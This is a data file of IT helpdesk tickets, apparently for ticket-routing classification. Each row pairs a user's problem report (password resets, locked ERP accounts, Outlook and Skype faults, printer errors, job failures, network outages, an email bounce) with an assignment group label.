+_x000D_ +received from: saqbgcpl.ybfzcjiq@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +i need help assigning an account in crm. the account was assigned to me by another se but the account has since been reassigned. i am unable to reassign the account since i am not the primary sales._x000D_ +",GRP_0 +business_client login issue business_client login issue,GRP_0 +"erp is not letting me print orders message no. /dvsrepro/zrfc016 ,message no. /dvsrepro/zrfc016 + +",GRP_0 +"email information from: kthvr sertce +sent: monday, september 26, 2016 6:31 pm +to: nwfodmhc exurcwkm +cc: rjodlbcf uorcpftk; zdcheloy aevzsogn +subject: amar fw: traversecity.service@company.com, important account information + +hi it, + +please investigate if this is accurate or spam. + +traversecity.service@company.com is an older email address for our usa customer service email box. it is listed on older literature that is still being used by customers. we should keep it in operation. please confirm. + + +",GRP_26 +expense report is blocked expense report is blocked,GRP_0 +personal certificate error : skype issue personal certificate error : skype issue ,GRP_0 +unable to print production orders on erp printer bd24 unable to print production orders on erp printer bd24,GRP_14 +exporting contacts from outlook exporting contacts from outlook ,GRP_0 +skype is not opening. skype is not opening.,GRP_0 +reinstall EU_tool \ewew8323851 \wrcktgbd wzrgyunp reinstall EU_tool \ewew8323851 \wrcktgbd wzrgyunp,GRP_24 +"sales doc 35900112/000010 still shows as open in the backorder database. sales doc 35900112/000010 still shows as open in the backorder database. sales doc has been pgid yet it still shows as open in the backorder database. rpbdvgoy hxasnzjc suggested i enter a ticket. according to aobrelcs suchytro this sales doc still looks open._x000D_ +",GRP_13 +windows and erp account locked windows and erp account locked,GRP_0 +blank call / loud noise / gso blank call / loud noise / gso,GRP_0 +"skype is ""not responding"" when trying to do an on line meeting (screen share). attachment shows skype version, etc. + +i am not able to join any skype meeting at this time due to this problem. + +dvzgjsom ynpxqjlf +company usa facility + +",GRP_0 +password reset help from password_management_tool password manager. password reset help from password_management_tool password manager.,GRP_0 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +"unable to open hr_engineering_tool for hours--controller access + +received from: umzcxfah.aoshpjiu@gmail.com + +umzcxfah aoshpjiu +plant controller, us_plant +umzcxfah.aoshpjiu@gmail.com + + + +",GRP_0 +password reset password reset,GRP_0 +"compatibility view settings _x000D_ +_x000D_ +received from: tdkfuobm.qrtmaxos@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i keep receiving this error and have to close out of internet explorer each time. when i re-open ie the website/database needs to be re-added to the compatibility view settings page. this has happened to several other people in the ip department._x000D_ +_x000D_ +[cid:image001.jpg@01SID_357d7.2a03b820]_x000D_ +_x000D_ +[cid:image002.jpg@01SID_357d7.2a03b820]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +password reset request for erp prtgghj4k & SID_67 unable to login to hr_tool erp systems.,GRP_0 +"archivierung von e-mails + +received from: anivdcor.rbmfhiox@gmail.com + +[cid:image003.jpg@01SID_35804.fbc60480] + +hallo it, + +ich archiviere meine mails in einer ordnerstruktur. +leider finde ich immer wieder ordner, die plötzlich keinen inhalt mehr haben +was läuft hier falsch? + +gruß +achim + +anivdcor rbmfhiox +sales manager +sales germany + +anivdcor.rbmfhiox@gmail.com + + +company deutschland gmbh +geschäftsführer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +windows password reset windows password reset,GRP_0 +"crm online issue +summary:urgent help required crm issue crm ribbon is grey / not active same issue with home tab and track and set regarding options",GRP_0 +"msd crm when i turn on crm, it comes on as my name as a manager. i get all the opportunities from all over the world. i want it to just have my crm information there.",GRP_0 +ms excel analysis addin: disabled ms excel analysis addin: disabled,GRP_0 +"can not populate the tranpertation zone in crm, when setting up a new customer. see attachments. other csr were having the same issues on friday.9/23/16",GRP_15 +"blocked from expense report _x000D_ +_x000D_ +received from: proygkjt.mwetuhqf@gmail.com_x000D_ +_x000D_ +it,_x000D_ +_x000D_ +i was in the process of entering my expenses when i lost internet connection. now when trying to complete my expenses i receive the error below. please unblock._x000D_ +_x000D_ +[cid:image001.jpg@01SID_357d1.d3717ec0]_x000D_ +_x000D_ +best ",GRP_0 +"job Job_585 failed in job_scheduler at: 09/26/2016 08:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_585 failed in job_scheduler at: 09/26/2016 08:37:00",GRP_5 +allow to edit contact info and upate back to erp. allow to edit contact info and update back to erp. this is w.r.t npr project go-live ,GRP_20 +outlook cannot connect to the server outlook cannot connect to the server,GRP_3 +"engineering_tool uploading issue global it service request (help@company.com)_x000D_ +_x000D_ +best ",GRP_25 +no audio in dell 7350 2 in 1 tablet no audio in dell 7350 2 in 1 tablet,GRP_0 +"uacyltoe hxgaycze message hallo liebe kollegen,_x000D_ +_x000D_ +warum habe ich diese e-mail bekommen?_x000D_ +hat jemand etwas modifiziert in meine e-mail postfach?_x000D_ +_x000D_ +üdvözlettel / mit freundlichen grüßen / best ",GRP_0 +"erp accout had been locked _x000D_ +_x000D_ +received from: qyidkvap.cxnfdjpk@gmail.com_x000D_ +_x000D_ +hello,sir_x000D_ +_x000D_ + my erp accout had been locked. can you help me? and i try to log in password_management_tool passoword system to unlock all the accout, also can to log in._x000D_ + [cid:_foxmail.1@59ee6164-8282-a2ed-f56b-2bad30f2874e]_x000D_ +_x000D_ +_________________________________x000D_ +_x000D_ +best ",GRP_0 +reset the password for qekdgaim wagshrzl on erp / production / erp SID_34 erp production system - please reset my password i cannot log in and need to perform the goods receipt on po ,GRP_0 +need to configure printers need to configure printers,GRP_0 +"reset the password for łukasz kutnik on other / telephony_software - interaction desktop hey team,_x000D_ +_x000D_ +can you please reset my password for the telephony_software - interaction desktop?_x000D_ +_x000D_ +",GRP_7 +"open connection for erp - oss #321013 system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_7 + +enter user id of user having the issue: erp incident 321013/2016 (oss message) + +provide access the same as this other user: mutoralkv + +please open http and all necessary connections for erp and update in the oss message #321013",GRP_2 +"help _x000D_ +_x000D_ +received from: lanigpkq.qzhakunx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +this morning i installed intel updates but while processing this my computer has blocked and i can not start windows.i can start it with safe mod.could you please connect my pc with team viewer_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_33 +"collaboration_platform _x000D_ +_x000D_ +received from: xaertwdh.kcsagvpy@gmail.com_x000D_ +_x000D_ +hi_x000D_ +please advise? i can not accesss collaboration_platform, it gives me this message._x000D_ +_x000D_ +[cid:image001.jpg@01SID_357f8.38677c00]_x000D_ +_x000D_ +kind ",GRP_16 +"urgent: usb ports not working again. usb ports not working again after replacement. updated chipset drivers. issue persists. user wants the motherbankrd to be replaced. + +phone: ",GRP_3 +"locked out again of erp prtgghj4k and SID_67 locked out again of erp prtgghj4k and SID_67 +this keeps happening way too often + +telephone:",GRP_2 +jartnine m called to give a status update jartnine m called to give a status update,GRP_0 +getting error while accessing it support review forms - pl refer above attachment pl refer attachment ,GRP_19 +receiving error with open order book nightly report receiving error with open order book nightly report - please see attached screen shot,GRP_13 +"SID_1 access + +received from: amrthruta.kadgdyam@company.com + +hello team, + +i have recently joined esg group as a programdnty engineer. request you to provide me access for SID_1 log in erp. +please do the needful. + +[cid:image001.jpg@01SID_35813.0ecd3360] + +",GRP_2 +"network printer – wy85 issue – no print out _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +network printer – wy85 issue – no print out_x000D_ +_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +"error message during document release + +received from: phqwmniy.kjucgqom@gmail.com + +hello, + +while releasing word file, drawings , route card showing error message server offline and document not get printed: +[cid:image001.jpg@01SID_35811.740c9ce0] + +required help in resolving the issue, +[cid:image002.png@01SID_35811.740c9ce0] + +p please do not print this email unless it is absolutely necessary. spread environmental awareness. + +confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately.",GRP_0 +purchasing menue in shopping cart not working correct see attached screenshot,GRP_29 +"application engineer database _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +we are using the application database, but i can't access it, see below._x000D_ +_x000D_ +[cid:image001.png@01SID_357f1.9ea5f840]_x000D_ +_x000D_ +best ",GRP_28 +"wifi & lan not working in office _x000D_ +_x000D_ +received from: okycwstu.tvrnbgfs@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +there is a problem in wifi connection since last three days. also most of the lan connections are also not working._x000D_ +_x000D_ +pl. check and resolve the issue aerp._x000D_ +_x000D_ +",GRP_19 +peer certificate rejected by chainverifier error ('godaddy certificate bundles - g2' certificate issue) installation of 'godaddy certificate bundles - g2' (gd_bundle-g2.crt) is not proper in SID_25. we are getting peer certificate rejected by chainverifier error and not able to deploy and uacyltoe hxgaycze the functionality in dev. please refer ticket_no1537958 for earlier installation.,GRP_14 +forgot password. forgot password.,GRP_0 +"private address fields are enabled on employee master crm ui disable private address fields, new & edit buttons on employee master crm ui",GRP_15 +"cancel duplicate miro entry po#5019256094 (5321) _x000D_ +_x000D_ +received from: neokfwiy.ufriscym@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +please help to reverse it , the screen shot is as below:_x000D_ +_x000D_ +[cid:image001.png@01SID_3581b.e2456cf0]_x000D_ +_x000D_ +best ",GRP_10 +reinstall company barcode für ewew8323753 \zlqfptjx xnklbfua reinstall company barcode für ewew8323753 \zlqfptjx xnklbfua,GRP_24 +kein email eingang von der adresse p.eggert@karl-roll.de. es kann von dieser adresse nichts empfangen oder gesendet werden.,GRP_0 +wrong data in crm (wrong data signed to contact person during complaint creation) we have opened complaint 7611184115: contact person is bnmdslzh qyinrmaf. we see in crm signed 255948 number to contact person bnmdslzh qyinrmaf. when we opened this number we could see data other customet (mail and number). in complaint form are printed wrong data - please see attached,GRP_15 +erp SID_34 password reset request. erp SID_34 password reset request.,GRP_0 +"reference to ticket_no1553927 / chg0034452 _x000D_ +_x000D_ +received from: ytwmgpbk.cpawsihk@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +could you please re-open this ticket. still the request is not resolved._x000D_ +_x000D_ +",GRP_2 +"job Job_3181 failed in job_scheduler at: 09/26/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3181 failed in job_scheduler at: 09/26/2016 05:00:00",GRP_10 +"query : change the screen saver. query : change the screen saver._x000D_ +",GRP_0 +"work center to be updated in pm order confirmation screen hi _x000D_ +_x000D_ +pm work center to be updated to pm order operations.",GRP_20 +"vpn on pc edmlx000001 can't work (urgent) efyumrls gqjcbufx (finance and administration manager) is working with a new pc win 10, not company imaged._x000D_ +everything is working, except symantec endpoint protection. i can't install it. it goes in error._x000D_ +as antivirus, she has windows defender._x000D_ +unfortunately when she run the vpn, a message appear and it seems that she can't run the vpn due tu an antivirus not updated._x000D_ +_x000D_ +she will be out of office for a few days this week, and she really needs the vpn connection._x000D_ +_x000D_ +could you please check the issue ?_x000D_ +_x000D_ +",GRP_0 +skype meeting option is not showing up in calendar. skype meeting option is not showing up in calendar.,GRP_0 +"outlook issue _x000D_ +_x000D_ +received from: nxlzpgfr.rlqowmyt@gmail.com_x000D_ +_x000D_ +i am unable to open the mails please refer the screen shot_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"erp SID_34 account _x000D_ +_x000D_ +received from: zuxcfonv.nyhpkrbe@gmail.com_x000D_ +_x000D_ +gso,_x000D_ +_x000D_ +please kindly unlock and reset password for erp SID_34 account zhhtyangq ,",GRP_0 +"launch adobe acrobat +name:melerowicz +language: +browser:microsoft internet explorer +email:ubiqcrvy.mxjcnqfs@gmail.com +customer number: +telephone:+ +summary:hi it-team, + +i would like to open a pdf document but i got the message: before proceeding you must first launch adobe acrobat and accept the end user licence agreement. my user: melthryerj could you please help ",GRP_0 +"network outage poncacity-schlumhdyhter-dmvpn-rtr located at usa is down. since 2:29 am on o9/26/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____________2:29 am __on o9/26/16________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"account unlock - erp SID_34 unlocked account using password_management_tool + +from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com] +sent: monday, september 26, 2016 12:42 pm +to: nwfodmhc exurcwkm +subject: re: please unlock an id (sugisdfy) +importance: high + +sorry again and again + +i could unlock through password_management_tool. +",GRP_0 +"password _x000D_ +_x000D_ +received from: woxrljif.qymrszdk@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +i changed my password last week now the laptop won't let me in._x000D_ +_x000D_ +kind ",GRP_0 +"problems with approval in universal work list + +received from: dkinobsv.wymgzcrh@gmail.com + +dear it, + +please help! + +i need to approve this but cannot + + +the following expense report has been submitted for your approval: + + + +personnel no.: 111319uy36 ) + +expense report no.: 2711125712 + +start date: 19.07.2016 00:00:00 + +end date: 23.08.2016 00:00:00 + +total costs: usd 2.215,29 + +reimbursement amount: usd 1.783,12 + + + +to review this expense report in full, please log into your universal worklist on manager self-service. + +i get this message + +[cid:image001.jpg@01SID_357dc.d57e64c0] + + +-- +mit freundlichen grüßen/ best ",GRP_2 +lean tracker not working lean tracker not working,GRP_0 +"unable to process in ecs + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist as we unable to process dn 9169308075 in ecs. +ecs system prompted below message. + +hi sujitra + +kindly note that we unable to process dn 9169308075 in ecs and most probably this order will hold for today shipping, pending for solution. + +[cid:image001.png@01SID_3580e.9c668960] + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd +( asia regional distribution centre) + +email : rxoynvgi.ntgdsehl@gmail.com",GRP_13 +"dir 71913895 nxd 000 00 ac locked by user dir 71913895 nxd 000 00 ac can't be opened for edit as it seems to be locked in the database (by wagfrtneh). dir is within status ac, all main originals seem to be checked in. so please unlock in the database.",GRP_14 +support für rechner messvorrichtung \jionmpsf wnkpzcmv support für rechner messvorrichtung \jionmpsf wnkpzcmv,GRP_24 +"the purchasing doesn't work there is no option in purchasing , check status is missed ",GRP_29 +rechner we_wu160 funktioniert nicht . rechner we_wu160 funktioniert nicht .,GRP_24 +rechner für viotto funktioniert nicht rechner für viotto funktioniert nicht,GRP_24 +"job Job_2645 failed in job_scheduler at: 09/26/2016 03:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/26/2016 03:30:00",GRP_6 +node ldiw8511217sf located at usa village is down since 9/25/2016 2:44 pm node ldiw8511217sf located at usa village is down since 9/25/2016 2:44 pm,GRP_8 +"hana report + +received from: bujiesrg.zopcrshl@gmail.com + +dear all, +my hana report can't be refresh , can you help to check ? + +[cid:image001.png@01SID_35806.dd83d2c0] + + + +bujiesrg zopcrshl +specialist accounting and reporting +bujiesrg.zopcrshl@gmail.com + + +",GRP_9 +truview application is down truview application is down. we are not getting the alarms and also i saw today that the application is also down. ,GRP_4 +looks like the tzornbldf network account is locked it needs to be unlocked aerp the tzornbldf account is used to in 90% of the dashbankrds in reporting_tool. this will affect 100's of sales employees/managers/directors as they will not be able to access their dashbankrds.,GRP_14 +"locked me out of erp +i tried to change my password by password_management_tool password manager, i got an error message, but the password seems changed but i don't remember the entered code. + +iewnguxv bufwxeiy has reset the windows password, by i can't enter erp. + +can you please reset me in password_management_tool passwprd manager. + + +",GRP_0 +"issue to create skype meeting request on outlook when i try to create skype meeting on outlook, there is no skype meeting button on outlook so i couldn't crete meeting request. please fix it. ",GRP_0 +"job Job_1338 failed in job_scheduler at: 09/26/2016 02:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 09/26/2016 02:28:00",GRP_9 +"job Job_1332 failed in job_scheduler at: 09/26/2016 02:26:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1332 failed in job_scheduler at: 09/26/2016 02:26:00",GRP_9 +"tickets for jost berfkting classified as ""usa"" / usa users need properly classified in ticketing_tool. _x000D_ +_x000D_ +received from: mynfoicj.riuvxdas@gmail.com_x000D_ +_x000D_ +gso,_x000D_ +_x000D_ +could you please verify why ticketing_tool tickets for dxyvfuhr uyfqgomx are classified as usa tickets? he is not usa, but ceo in europe of company. i checked two other users from switzerland, were the message did not display as it is correct. i actually thought the location would determine if users are from usa or not. can you advise what the issue with his user is? it needs correction._x000D_ +_x000D_ +",GRP_36 +"the unit prices of order #35990512 , item ! ~ 8 cannot be revised we need to revise the pirces for order#35990512 to zno, 7800 for all the items._x000D_ +i changed for item #9 ~ #11, but cannot change for #1 ~ #8, please check and help, ",GRP_13 +unable to login to erp SID_34 account unable to login to erp SID_34 account,GRP_0 +"delivery note creation request _x000D_ +_x000D_ +received from: fbvpcytz.nokypgvx@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +could you please create delivery note for below order?_x000D_ +we got the error message hence we cannot issue the delivery note…_x000D_ +_x000D_ +so#35042381 / line item10_x000D_ +mm#3366140_x000D_ +order qty :1pc_x000D_ +delivery plant : plant_317_x000D_ +_x000D_ +we can see available stock via md04 screen._x000D_ +[cid:image002.jpg@01SID_35805.b2550301]_x000D_ +_x000D_ +but we cannot create delivery note for this item. we got below error message when we manually tried to issue the dn…(plant_327n)_x000D_ +[cid:image004.jpg@01SID_35805.b2550301]_x000D_ +_x000D_ +_x000D_ +",GRP_6 +"purchasing issue-pr can't release document number 21745726_x000D_ +relevant document number (pr#) can't release with ""error in process"". no detail log or explanation._x000D_ +",GRP_29 +"outlook - keine rückmeldung outlook_x000D_ +i'm not able to log-on to outlook thiw morning._x000D_ +i restarted my computer several times without any effort._x000D_ +_x000D_ +",GRP_0 +excel is blank when open excel file excel is blank when open excel file ,GRP_31 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"outlook无法登陆 ,一直显示正在启动。 outlook无法登陆 ,一直显示正在启动。",GRP_30 +"no accounting documents for #0159146993 & #9047969100 there are no accounting documents for billings #0159146993 & #0158070211 , please help!",GRP_10 +excel is blank when open the excel file excel is blank when open the excel file ,GRP_0 +"百度搜索后-新网页打不开 + +received from: ktghvuwr.uwtakcmj@gmail.com + +hello it + +百度搜索后-新网页打不开，如附件所示，请帮忙处理或提供下解决方案。 + +谢谢！ + + +ktghvuwr uwtakcmj +sr. application engineer +optimization team +ktghvuwr.uwtakcmj@gmail.com + + +",GRP_31 +"user uthagtpgc - outlook issue + +received from: rgtarthi.erjgypa@company.com + +hello help. + +geetha's outlook is not working at all. system is very slow. +she has logged off and on thrice since morning. + +pls look into the attached files for the error message & resolve at the earliest. + + +",GRP_0 +"anzeigen der bestellübersicht im erp netweaver portal nicht möglich im erp netweaver portal ist es nicht mehr möglich unter dem paramdntyeter ""feinnavigation"" die bestellübersicht aufzurufen._x000D_ +siehe angefügte screenshots",GRP_0 +"erp t-code error _x000D_ +_x000D_ +received from: ohdrnswl.rezuibdt@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please find below error._x000D_ +_x000D_ +kindly help to resolve this issue on urgent basis._x000D_ +_x000D_ +[cid:image001.png@01SID_357e1.3c351d40]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_2 +"erp系统登录后，采购页面无法显示""后续凭证""，请处理 erp系统登录后，采购页面无法显示""后续凭证""，请处理",GRP_30 +"error message during route card release + +received from: phqwmniy.kjucgqom@gmail.com + +hello, + +while route card release error message appearing and route card not get printed: +[cid:image003.jpg@01SID_357da.882f8250] + +required help in resolving the issue, +[cid:image004.png@01SID_357da.882f8250] + +p please do not print this email unless it is absolutely necessary. spread environmental awareness. + +confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately.",GRP_45 +"network outage network outage +unable to connect both lan and wi fi + +india location +contact no:- + + + +",GRP_4 +"job Job_2110 failed in job_scheduler at: 09/26/2016 00:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2110 failed in job_scheduler at: 09/26/2016 00:05:00",GRP_9 +"erp printing issue from: sridthshar herytur +sent: monday, september 26, 2016 9:23 am +to: erpbasis-support +cc: cedroapx blsktzgq; fdmaluyo tvecikxn; mvfnbces urbckxna1; nawkpdtx gwcvmbhn +subject: erp printing issue + +hi all, + +again same problem repeats on erp printing for plant. below printer error issue. + + + +radyhthika : kindly raise the request for same and concern team. + +best ",GRP_14 +"network outage: usa vpn router is down since 08:02 pm et on 09/25. no backup what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________08:02 pm et on 09/25______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"attendance_tool password not working _x000D_ +_x000D_ +received from: rsvminjz.tcpqvbae@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +my attendance_tool password is not working. kindly reset the same & give me the new password._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +" regarding cell phone model. from: gdhyrts muggftyali +sent: monday, september 26, 2016 8:06 am +to: chefghtyn chnbghyg; nwfodmhc exurcwkm +subject: rad: regarding cell phone model.. + +hello chefghtyn, +gso will help on this, i am copying to them. + +hello gso, +please help on this. + +",GRP_0 +电脑系统启动蓝屏。 电脑系统启动蓝屏。水不小心洒到电脑里面。,GRP_31 +"job hr_payroll_na_u2 failed in job_scheduler at: 09/25/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 09/25/2016 23:00:00",GRP_10 +"job hr_payroll_na_u1 failed in job_scheduler at: 09/25/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 09/25/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 09/25/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 09/25/2016 23:00:00",GRP_10 +"need to know who the processor is. from: kbyivdfz zwutmehy [mailto:kbyivdfz.zwutmehy@gmail.com] _x000D_ +sent: monday, september 26, 2016 5:53 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:need to know who the processor is._x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +need to know who the processor might be._x000D_ +_x000D_ +kindly check and let me know who have authority to approve of a0 and a4 _x000D_ +_x000D_ +internal purchase requisition can not be released, so i cannot issue po._x000D_ +_x000D_ +best ",GRP_29 +"reset pw + +received from: yhmzxcia.heszapvl@gmail.com + +please help to reset pass word for erp SID_34 +user id : hertel + + +best ",GRP_0 +"wireless outage again-taiwan 0926 _x000D_ +_x000D_ +received from: ticqvhal.vgokzesi@gmail.com_x000D_ +_x000D_ +hello~_x000D_ +_x000D_ +wireless(companysecure) outage of taiwan._x000D_ +please help~_x000D_ +_x000D_ +",GRP_4 +"job Job_3186 failed in job_scheduler at: 09/25/2016 20:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3186 failed in job_scheduler at: 09/25/2016 20:00:00",GRP_10 +"job Job_2114 failed in job_scheduler at: 09/25/2016 17:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2114 failed in job_scheduler at: 09/25/2016 17:32:00",GRP_9 +erp account lock erp account lock,GRP_0 +"it help + +received from: notwkdgr.zvmesjpt@gmail.com + +do you have any idea why i received this message? + +katfrthy cighyillo +consultant + +notwkdgr.zvmesjpt@gmail.com +from: microsoft outlook +sent: sunday, september 25, 2016 4:09 pm +to: notwkdgr zvmesjpt +subject: undeliverable: fw: company ec mfg_tooltion in us + +[image removed by sender.] + +your message to dhermosi@gmail.com couldn't be delivered. + +gmail.com couldn't confirm that your message was sent from a trusted location. + +kathleen.cirillo + +office 365 + +dhermosi + +action required + +recipient + + + + + + + + + + + + +spf validation error + + + +how to fix it + +your organization's email admin will have to diagnose and fix your domain's email settings. please forward this message to your email admin. + + + +________________________________ + + +more info for email admins + +status code: 550 5.7.23 + +this error occurs when sender policy framdntyework (spf) validation for the sender's domain fails. if you're the sender's email admin, make sure the spf records for your domain at your domain registrar are set up correctly. office 365 supports only one spf record (a txt record that defines spf) for your domain. include the following domain name: spf.protection.outlook.com. if you have a hybrid configuration (some mailboxes in the cloud, and some mailboxes on premises) or if you're an exchange online protection standalone customer, add the outbound ip address of your on-premises servers to the txt record. + +for more information and instructions about configuring spf records see customize an spf record to validate outbound mail sent from your domain<#bkmk_spfrecords>. + +original message details + +created date: + +9/25/2016 8:08:51 pm + +sender address: + +notwkdgr.zvmesjpt@gmail.com + +recipient address: + +dhermosi@gmail.com + +subject: + +fw: company ec mfg_tooltion in us + + + +error details + +reported error: + +550 5.7.23 the message was rejected because of sender policy framdntyework violation -> 550 5.7.1 unauthenticated email from hr_tool.com is not accepted due to domain's;dmarc policy. please contact the administrator of hr_tool.com domain if;this was a legitimate mail. please visit; + +dsn generated by: + +dm5pr05mb2985.namprd05.prod.outlook.com + +remote server: + +mx.google.com + + + +message hops + +hop + +time (utc) + +from + +to + +with + +relay time + +1 + +9/25/2016 +8:08:52 pm + +dm5pr05mb2986.namprd05.prod.outlook.com + +dm5pr05mb2986.namprd05.prod.outlook.com + +mapi + +1 sec + +2 + +9/25/2016 +8:08:52 pm + +dm5pr05mb2986.namprd05.prod.outlook.com + +dm5pr05mb2985.namprd05.prod.outlook.com + +microsoft smtp server (version=tls1_2, cipher=tls_ecdhe_rsa_with_aes_256_cbc_sha384_p384) + +* + + +original message headers + +dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=company.com; + + s=selector1; h=from:date:subject:message-id:content-type:mime-version; + + bh=p2khj+cx28ii4sgrkpfsbsxqqzvxrpkmbumy6bgcvme=; + + b=sv2v6uxr4jlaemyl32oakf6q2tpv80vdn3wyalrvmwpvlt0ih4leelrpzts6atf863lwqaiwmpjkyor/nks/b+3ricx0tqctyws3prvdutl1to1ghty3be75w2bfc12uvw0mapgzzbtnqsozevisyen3o2tqkq1mumxccbhz85m= + +received: from dm5pr05mb2986.namprd05.prod.outlook.com (10.168.176.150) by + + dm5pr05mb2985.namprd05.prod.outlook.com (10.168.176.149) with microsoft smtp + + server (version=tls1_2, cipher=tls_ecdhe_rsa_with_aes_256_cbc_sha384_p384) id + + 15.1.649.6; sun, 25 sep 2016 20:08:52 +0000 + +received: from dm5pr05mb2986.namprd05.prod.outlook.com ([10.168.176.150]) by + + dm5pr05mb2986.namprd05.prod.outlook.com ([10.168.176.150]) with mapi id + + 15.01.0649.011; sun, 25 sep 2016 20:08:52 +0000 + +from: ""favot, jean-jacques"" + +to: ""dhermosi@gmail.com"" + +subject: fw: company ec mfg_tooltion in us + +thread-topic: company ec mfg_tooltion in us + +thread-index: adiu0k1lhl+ozbuesgkwoqwhf5sr3waakvcg + +sender: notwkdgr zvmesjpt + +date: sun, 25 sep 2016 20:08:51 +0000 + 